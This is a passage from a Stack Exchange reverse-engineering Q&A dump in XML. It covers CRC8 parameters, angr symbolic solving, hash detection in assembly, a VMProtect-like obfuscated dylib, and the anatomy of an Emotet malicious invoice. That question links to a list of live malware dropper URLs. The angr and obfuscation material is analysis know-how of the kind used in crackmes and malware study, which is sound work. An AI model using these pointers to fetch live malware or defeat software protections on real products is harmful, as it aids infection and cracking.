0E00C0F0C1FFFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27246" LastEditorUserId="27246" LastEditDate="2019-01-27T20:11:25.093" LastActivityDate="2023-12-16T23:50:08.757" Title="CRC8 reverse engineering" Tags="|crc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20485" PostTypeId="2" ParentId="20484" CreationDate="2019-01-27T22:40:40.980" Score="5" Body="&lt;p&gt;Use that same &lt;a href=&quot;http://www.sunshine2k.de/coding/javascript/crc/crc_js.html&quot; rel=&quot;noreferrer&quot;&gt;page&lt;/a&gt;, and select CRC_SAE_J1850, but then switch to 'Custom' and change the 'Final Xor Value' to 0x7a.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The settings should be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Input Reflected: No&lt;/li&gt;&#xA;&lt;li&gt;Output Reflected: No&lt;/li&gt;&#xA;&lt;li&gt;Polynomial: 0x1d&lt;/li&gt;&#xA;&lt;li&gt;Initial Value: 0xff&lt;/li&gt;&#xA;&lt;li&gt;Final Xor Value: 0x7a&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Use Byte1-Byte7 as input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;crc_data[n]&lt;/code&gt; is the crc from your provided data for dataset &lt;code&gt;n&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;crc_sae_j1850[n]&lt;/code&gt; is the standard CRC SAE J1850 value for dataset &lt;code&gt;n&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I noticed that for any &lt;code&gt;i&lt;/code&gt;, &lt;code&gt;j&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;crc_data[i] ^ crc_data[j] = crc_sae_j1850[i] ^ crc_sae_j1850[j]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;e.g. for &lt;code&gt;i=0&lt;/code&gt;, &lt;code&gt;j=1&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x57 ^ 0x0a = 0xd2 ^ 0x8f&#xA;0x5d        = 0x5d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that the final xor value can be adjusted to get the desired values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;new_final_xor = original_final_xor ^ crc_data[i] ^ crc_sae_j1850[i]&#xA;              = 0xff               ^ 0x57        ^ 0xd2&#xA;              = 0x7a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2019-01-27T22:40:40.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20487" PostTypeId="1" CreationDate="2019-01-28T01:11:08.897" Score="2" ViewCount="164" Body="&lt;p&gt;I'm trying to reverse an ARM executable. It's for an embedded system, but I don't have any details about the normally targeted environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what &lt;code&gt;file&lt;/code&gt; shows: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried running it on Linux using qemu and the process immediately terminates with the message &quot;Killed&quot;. Running &lt;code&gt;strace ./executable&lt;/code&gt; returns this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;execve(&quot;./executable&quot;, [&quot;./executable&quot;], [/*13 vars */] &amp;lt;unfinished ...&amp;gt;&#xA;+++ killed by SIGKILL +++ &#xA;Killed&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the Debian Wheezy image from here: &lt;a href=&quot;https://people.debian.org/~aurel32/qemu/armel/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://people.debian.org/~aurel32/qemu/armel/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="27261" LastActivityDate="2019-01-28T11:28:33.040" Title="Process Immediately Killed" Tags="|linux|arm|elf|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20488" PostTypeId="2" ParentId="20461" CreationDate="2019-01-28T03:52:03.750" Score="2" Body="&lt;p&gt;I used a less smart approach. I wrote the hex blob to a file, wrote a quick Python script to add a padding byte after every 15th byte so the whole file is nicely aligned when opening it in a hex editor with standard 16 byte width and just had a look at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the padding done, all columns share the same key so I just looked at what letter appeared the most in each of the 15 columns, hoping/assuming the most frequent byte in each column (in the plaintext) would be a 0 byte and thus leak a key byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every column seemed to have a printable character as the most used which fits the context of a crackme where you enter a printable key, so it appeared this worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To verify, I googled for the supposed key and some writeup from 2008 had the same. If that writeup didn't exist I'd have to decode the blob and see if the assembly makes sense of course.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-01-28T03:52:03.750" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20491" PostTypeId="2" ParentId="20464" CreationDate="2019-01-28T10:47:51.593" Score="0" Body="&lt;p&gt;Simply set the breakpoint on &lt;code&gt;ZwResumeThread&lt;/code&gt; (also shown in your screenshot). From user mode the only difference between &lt;code&gt;NtResumeThread&lt;/code&gt; and &lt;code&gt;ZwResumeThread&lt;/code&gt; is the name prefix. In kernel mode these functions (of &lt;code&gt;ntoskrnl.exe&lt;/code&gt; instead of &lt;code&gt;ntdll.dll&lt;/code&gt;) have implementation differences indeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to brush up on Windows internals a bit. &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/win32/ntdll/api/native.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;This article by Geoff Chappell&lt;/a&gt; may help.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2019-01-28T10:47:51.593" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20492" PostTypeId="2" ParentId="20487" CreationDate="2019-01-28T11:28:33.040" Score="3" Body="&lt;p&gt;The process may send itself (or it's child processes) the SIGTERM signal as part of an anti-debugging trick. Hunting for that will require you to search for signal-sending APIs like &lt;a href=&quot;https://linux.die.net/man/3/kill&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;kill&lt;/code&gt;&lt;/a&gt; and how/when they're being used by the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more simple solution, that is not necessarily RE related, could be that the process is killed by the &lt;a href=&quot;https://www.memset.com/docs/additional-information/oom-killer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OOM killer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test that, you can run &lt;code&gt;mesg | egrep -i “killed process”&lt;/code&gt; inside the emulated machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case, you can easily disable it (add &lt;code&gt;vm.oom-kill = 0&lt;/code&gt; in &lt;code&gt;/etc/sysctl.conf&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-01-28T11:28:33.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20493" PostTypeId="1" CreationDate="2019-01-28T17:14:32.060" Score="1" ViewCount="1722" Body="&lt;p&gt;Am using the free version of IDA pro, and have loaded the program with no apparent problems. I see assembler and stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parts of the program I am interested in is where it reads a file. This is a binary file that (I assume) goes into some data structure. I am trying to find out the binary format used in the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some simple way to find the relevant parts of the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: it is a Windows program, not very old, and I am using Linux (if that matters).&lt;/p&gt;&#xA;" OwnerUserId="19805" LastEditorUserId="19805" LastEditDate="2019-01-28T17:35:18.877" LastActivityDate="2020-10-19T22:02:50.330" Title="finding file I/O in IDA Pro (actually IDA free)" Tags="|ida|file-format|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20494" PostTypeId="2" ParentId="20493" CreationDate="2019-01-28T18:35:51.167" Score="1" Body="&lt;p&gt;You need to focus on imported functions which access to file.&#xA;In your case it could be WinAPI (CreateFileA/W, ReadFile), libc (fopen, fread), libc++ (std::fstream, be careful about the name mangling), etc.&#xA;However, the executable could also rely on 3rd parties DLL to do that.&#xA;Then you can use the cross-references to see where your program calls these functions.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-01-28T18:35:51.167" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20495" PostTypeId="1" AcceptedAnswerId="20504" CreationDate="2019-01-28T18:59:25.200" Score="2" ViewCount="1112" Body="&lt;p&gt;Look at this c program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int my_function(int a, int b);&#xA;&#xA;int my_function(int a, int b)&#xA;{&#xA;    // Imagine a very complex calculation on 'a' and 'b'&#xA;    if (a==0x41 &amp;amp;&amp;amp; b==0x42)&#xA;    {&#xA;        return 1;&#xA;    }&#xA;    return 0;&#xA;}&#xA;&#xA;&#xA;int main(int argc , char *argv[])&#xA;{&#xA;    int c = 10;&#xA;    int d = 10;&#xA;    // Lot of stuff, including UI&#xA;    if (my_function(c,d)==1)&#xA;    {&#xA;        printf(&quot;Good\n&quot;);&#xA;    }&#xA;    else&#xA;    {&#xA;        printf(&quot;Wrong !\n&quot;);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Suppose i have compiled this program and i do not have source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what is see with a disassembler:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;0x00001180      e8b0ffffff     call sym.my_function&#xA;....&#xA;&#xA;|           ; var int local_8h @ rbp-0x8&#xA;|           ; var int local_4h @ rbp-0x4&#xA;|           ; CALL XREF from 0x00001180 (main)&#xA;|           0x00001135      55             push rbp&#xA;|           0x00001136      4889e5         mov rbp, rsp&#xA;|           0x00001139      897dfc         mov dword [local_4h], edi&#xA;|           0x0000113c      8975f8         mov dword [local_8h], esi&#xA;|           0x0000113f      837dfc41       cmp dword [local_4h], 0x41  ; [0x41:4]=0x4000000 ; 'A'&#xA;|       ,=&amp;lt; 0x00001143      750d           jne 0x1152&#xA;|       |   0x00001145      837df842       cmp dword [local_8h], 0x42  ; [0x42:4]=0x40000 ; 'B'&#xA;|      ,==&amp;lt; 0x00001149      7507           jne 0x1152&#xA;|      ||   0x0000114b      b801000000     mov eax, 1&#xA;|     ,===&amp;lt; 0x00001150      eb05           jmp 0x1157&#xA;|     |||   ; JMP XREF from 0x00001143 (sym.my_function)&#xA;|     |||   ; JMP XREF from 0x00001149 (sym.my_function)&#xA;|     |``-&amp;gt; 0x00001152      b800000000     mov eax, 0&#xA;|     |     ; JMP XREF from 0x00001150 (sym.my_function)&#xA;|     `---&amp;gt; 0x00001157      5d             pop rbp&#xA;\           0x00001158      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i want to do is to write a python/angr program which will try to solve this function and tell me which argument i should send to the function in order to return 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, i want to ask angr this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Start your analyse at 0x00001135 address.&#xA;Tell me what i should put in rbp-0x8 and rbp-0x4 memory addresses in order to reach 0x0000114b code&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT WITH STRING *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int my_function(char *s);&#xA;&#xA;int my_function(char *s)&#xA;{&#xA;        if (strlen(s)!=4)&#xA;        {&#xA;                return 0;&#xA;        }&#xA;&#xA;        for (int i=0;i&amp;lt;4;i++)&#xA;        {&#xA;                s[i]++;&#xA;        }&#xA;&#xA;        if (strncmp(s,&quot;b{fs&quot;,4)==0)&#xA;        {&#xA;                return 1;&#xA;        }&#xA;        return 0;&#xA;}&#xA;&#xA;&#xA;int main(int argc , char *argv[])&#xA;{&#xA;        if (my_function(argv[1])==1)&#xA;        {&#xA;                printf(&quot;Good\n&quot;);&#xA;        }&#xA;        else&#xA;        {&#xA;                printf(&quot;Wrong !\n&quot;);&#xA;        }&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="18590" LastEditDate="2019-01-30T13:35:05.490" LastActivityDate="2019-01-30T13:35:05.490" Title="Solve a function with angr" Tags="|angr|" AnswerCount="1" CommentCount="3" ClosedDate="2019-02-01T12:53:45.820" ContentLicense="CC BY-SA 4.0" />
  <row Id="20496" PostTypeId="1" CreationDate="2019-01-28T20:31:45.187" Score="1" ViewCount="884" Body="&lt;p&gt;I use &lt;code&gt;FindCrypt2&lt;/code&gt; Ida plugin but it detect md4 and not md5 , and not detect sha256.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I detect md5 in assembly?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I detect sha256 in assembly?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="27273" LastActivityDate="2023-02-19T04:08:51.053" Title="How to detect md5 and sha256?" Tags="|ida|assembly|hash-functions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20497" PostTypeId="2" ParentId="20496" CreationDate="2019-01-28T21:20:23.953" Score="2" Body="&lt;p&gt;You can usually spot MD5 quite easily by looking for a huge function. It tends to be the biggest function in the whole binary. That's the &lt;code&gt;MD5_Process()&lt;/code&gt; (if I recall the name correctly) function which compilers like to unroll completely, thus making it huge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, typical hash functions have 3 distinct functions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An init function setting up the hash context&lt;/li&gt;&#xA;&lt;li&gt;An update function processing data and updating the hash context&lt;/li&gt;&#xA;&lt;li&gt;A finish function generating the final hash from the hash context&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both MD5 and SHA256 use magic constants in their init function. You should try to find a C source for either, look for the init functions and the constants (usually hidden in some macro) and then search for those constants in your disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is general advice for cryptographic stuff. Find sourcecode, look for distinct constants/patterns and then see if you can find them in disassembly.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-01-28T21:20:23.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20499" PostTypeId="2" ParentId="20481" CreationDate="2019-01-29T07:41:45.270" Score="2" Body="&lt;p&gt;The problem is the way you reference this object with a new pointer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Derived obj = *ptr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This actually creates a new object utilizing the data of the old object. Yay! C++!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ev6Nc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ev6Nc.png&quot; alt=&quot;IDA Decompilation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In line 27 you can see that a new object is generated by calling a constructor. If you have a look at the disassembly, you'll see the vtable is not used for the function call. Hence you end up with the non-modified function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n9QHa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n9QHa.png&quot; alt=&quot;disassembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, when you change the line referenced above to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(*ptr).myFunc();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output works as expected&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2019-01-30T05:40:24.457" LastActivityDate="2019-01-30T05:40:24.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20501" PostTypeId="1" CreationDate="2019-01-29T16:45:04.153" Score="4" ViewCount="760" Body="&lt;p&gt;I'm reverse-engineering a particular dylib on Mac OS X. The dylib is highly obfuscated, but &lt;strong&gt;I suspect it's from some well-known technique&lt;/strong&gt; that I'm not aware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to describe it in the hope that someone here could identify it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There are junk instructions inserted everywhere, and every basic block is split by a lot of unconditional jump (but &lt;em&gt;no&lt;/em&gt; opaque predicate is used).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At its core, it looks like a obfuscated VM. It behaves like this:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At entry, it push a starting value on the stack, then &lt;code&gt;call&lt;/code&gt; an entry point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000010013E070 68 5C 98 42 11                          push    1142985Ch&#xA;000000010013E075 E8 B5 B4 0E 00                          call    sub_10022952F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The entry (e.g. &lt;code&gt;sub_10022952F&lt;/code&gt;) isn't a usual function. It will save all registers and point &lt;code&gt;rsi&lt;/code&gt; to an embedded data location that is determined by the &lt;code&gt;push&lt;/code&gt; (i.e. the &lt;code&gt;push 1142985Ch&lt;/code&gt; above), then starts reading &lt;code&gt;rsi&lt;/code&gt; array and jumping accordingly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000010013EED7 8B 06                                   mov     eax, [rsi]&#xA;000000010013EED9 F5                                      ;; cmc&#xA;000000010013EEDA 45 84 FD                                ;; test    r13b, r15b&#xA;000000010013EEDD 48 81 C6 04 00 00 00                    add     rsi, 4&#xA;000000010013EEE4 66 41 81 FA 1C 3B                       ;; cmp     r10w, 3B1Ch&#xA;000000010013EEEA 33 C3                                   xor     eax, ebx&#xA;000000010013EEEC D1 C0                                   rol     eax, 1&#xA;000000010013EEEE E9 FD 8E 15 00                          jmp     loc_100297DF0&#xA;&#xA;0000000100297DF0 FF C0                                   inc     eax&#xA;0000000100297DF2 0F C8                                   bswap   eax&#xA;0000000100297DF4 F8                                      ;; clc&#xA;0000000100297DF5 E9 F2 D6 E4 FF                          jmp     loc_1000E54EC&#xA;&#xA;00000001000E54EC C1 C0 03                                rol     eax, 3&#xA;00000001000E54EF 0F C8                                   bswap   eax&#xA;00000001000E54F1 53                                      push    rbx&#xA;00000001000E54F2 31 04 24                                xor     [rsp], eax&#xA;00000001000E54F5 0F B7 D8                                ;; movzx   ebx, ax&#xA;00000001000E54F8 0F BA F3 82                             ;; btr     ebx, 82h&#xA;00000001000E54FC 5B                                      pop     rbx&#xA;00000001000E54FD F5                                      ;; cmc&#xA;00000001000E54FE 49 F7 C7 E5 0F 9B 74                    ;; test    r15, 749B0FE5h&#xA;00000001000E5505 F9                                      ;; stc&#xA;00000001000E5506 48 63 C0                                movsxd  rax, eax&#xA;00000001000E5509 48 03 F8                                add     rdi, rax&#xA;00000001000E550C E9 D0 49 08 00                          jmp     loc_100169EE1&#xA;&#xA;0000000100169EE1 FF E7                                   jmp     rdi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've commented out junk code. The code will fetch value from &lt;code&gt;[rsi]&lt;/code&gt; into &lt;code&gt;rax&lt;/code&gt;, and do some bit-level-operation with &lt;code&gt;rbx&lt;/code&gt;; then advance &lt;code&gt;rdi &amp;lt;- rdi + rax&lt;/code&gt;; then jump to &lt;code&gt;rdi&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This structure is everywhere in the dylib, and in a chain connected by &lt;code&gt;jmp rdi&lt;/code&gt;, the bit-level-operations are also the same. But chains from different entry point may have different bit operation for &lt;code&gt;rax&lt;/code&gt; and &lt;code&gt;rbx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The VM doesn't have any central structure (like a dispatcher or something), and the jumps go everywhere, not restricted to some location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To call external function like &lt;code&gt;pthread_mutex_lock&lt;/code&gt;, it will go out of the VM loop first; then call the external function; then go to another entry point. There are many entry points (&lt;code&gt;push xxxx / call xxxx&lt;/code&gt;) to enter VM loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I believe this is some well-known technique&lt;/strong&gt;, because when the dylib is modified, it will prompt message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;File corrupted! This program has been manipulated and maybe it's&#xA;  infected by a Virus or cracked. This file won't work anymore.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not a standard Mac OS X message, and Google search for this exact message gives a lot of result, but none of them explains the technique itself.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Some additional information:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It has sections named UPX0/UPX1, but I think they are disguise and the technique has nothing to do with UPX. Because the code only does self-checking, no self-modifying. As a result, it's still obfuscated just as the original file after fully loaded.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't know how the it works exactly by now. But I think it's some sort of a VM, because I've traced the invoke of a function of the dylib, I only find the following normal function calls:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pthread_mutex_lock&lt;/code&gt; --&gt; 3 &lt;code&gt;new operator&lt;/code&gt; --&gt; &lt;code&gt;pthread_mutex_unlock&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And everything else is done inside by those &lt;code&gt;jump rdi&lt;/code&gt; structures mentioned above and switches among many entries points. Therefore the rest of the code logic resides in the VM loop.&lt;/p&gt;&#xA;" OwnerUserId="27283" LastActivityDate="2023-01-09T08:56:43.987" Title="What's this obfuscation technique?" Tags="|obfuscation|deobfuscation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20502" PostTypeId="2" ParentId="20501" CreationDate="2019-01-29T19:17:58.960" Score="3" Body="&lt;p&gt;I could be wrong, but it looks like VMProtect v3. For this version, this obfuscator inlines all handlers, so that's normal you don't find any dispatcher.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-01-29T19:17:58.960" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20504" PostTypeId="2" ParentId="20495" CreationDate="2019-01-30T07:50:28.263" Score="5" Body="&lt;p&gt;thanks for your example scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a disclamer, I compiled your example source code with clang and my disassembly looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5Zc8R.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Zc8R.png&quot; alt=&quot;disassembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then all you need is a small python script like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;&#xA;function_start = 0x4004f0&#xA;function_target = 0x40050e&#xA;function_end = 0x400521&#xA;&#xA;p = angr.Project(&quot;./a.out&quot;)&#xA;state = p.factory.blank_state(addr=function_start)&#xA;a = state.solver.BVS('a', 32)&#xA;b = state.solver.BVS('b', 32)&#xA;state.regs.esi = b&#xA;state.regs.edi = a&#xA;&#xA;sm = p.factory.simulation_manager(state)&#xA;sm.explore(find=function_target, avoid=function_end)&#xA;&#xA;found_path = sm.found[0]&#xA;print 'a: %d\nb: %d' % (found_path.state.se.eval(a), found_path.state.se.eval(b))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note this example is trivial, but in any other case you should try to add as many constraints on values as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we go again with stack variable conditions. For this sake, we just skip the first 4 instructions of the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;&#xA;function_start = 0x4004fa&#xA;function_target = 0x40050e&#xA;function_end = 0x400521&#xA;&#xA;p = angr.Project(&quot;./a.out&quot;)&#xA;state = p.factory.blank_state(addr=function_start)&#xA;a = state.solver.BVS('a', 32)&#xA;b = state.solver.BVS('b', 32)&#xA;state.mem[state.regs.rbp - 0x8].uint32_t = a&#xA;state.mem[state.regs.rbp - 0xc].uint32_t = b&#xA;&#xA;sm = p.factory.simulation_manager(state)&#xA;sm.explore(find=function_target, avoid=function_end)&#xA;&#xA;found_path = sm.found[0]&#xA;print 'a: %d\nb: %d' % (found_path.state.se.eval(a), found_path.state.se.eval(b))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2019-01-30T08:31:53.260" LastActivityDate="2019-01-30T08:31:53.260" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="20506" PostTypeId="1" AcceptedAnswerId="20510" CreationDate="2019-01-30T09:30:10.710" Score="1" ViewCount="182" Body="&lt;p&gt;This pastebin &lt;a href=&quot;https://pastebin.com/fSqLLb8C&quot; rel=&quot;nofollow noreferrer&quot;&gt;hosts&lt;/a&gt; current URLs hosting the fake invoice of &lt;a href=&quot;https://en.wikipedia.org/wiki/Emotet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Emotet malware&lt;/a&gt;, which is the dropper part of the malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The document is a Office Open XML, and there are two large non textual segments in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't make any sense of the other segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of them is this:&lt;a href=&quot;https://i.stack.imgur.com/hb1OJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hb1OJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume the other one contains at least some VB script and something else, but it decodes (assuming base64 like the jpg part) to nothing that &lt;em&gt;file&lt;/em&gt; recognizes.&lt;/p&gt;&#xA;" OwnerUserId="27293" LastActivityDate="2019-01-30T13:01:18.427" Title="Emotet invoice, what is the embedded file inside the word document" Tags="|binary-analysis|malware|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20507" PostTypeId="2" ParentId="20506" CreationDate="2019-01-30T09:56:31.020" Score="2" Body="&lt;p&gt;Without reviewing the file itself, other than a VB script used as a macro, the second part is more likely an obfuscated/encrypted executable file of some sort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However since it's evident macros are used, the executable file (either a PE or a script) is probably at least somewhat obfuscated and will only be decoded/decrypted before being it's dropped to disk or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Statically, your safest bet would be extracting the macro (that isn't hard, macros are pretty noticeable as far as the standard is concerned) and reversing the decoding/deobfuscating method used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easier approach would be to let the document drop the executable by opening it and letting the macros run inside a VM, optionally using something like process explorer/api monitor to catch the dropped file.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-01-30T09:56:31.020" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
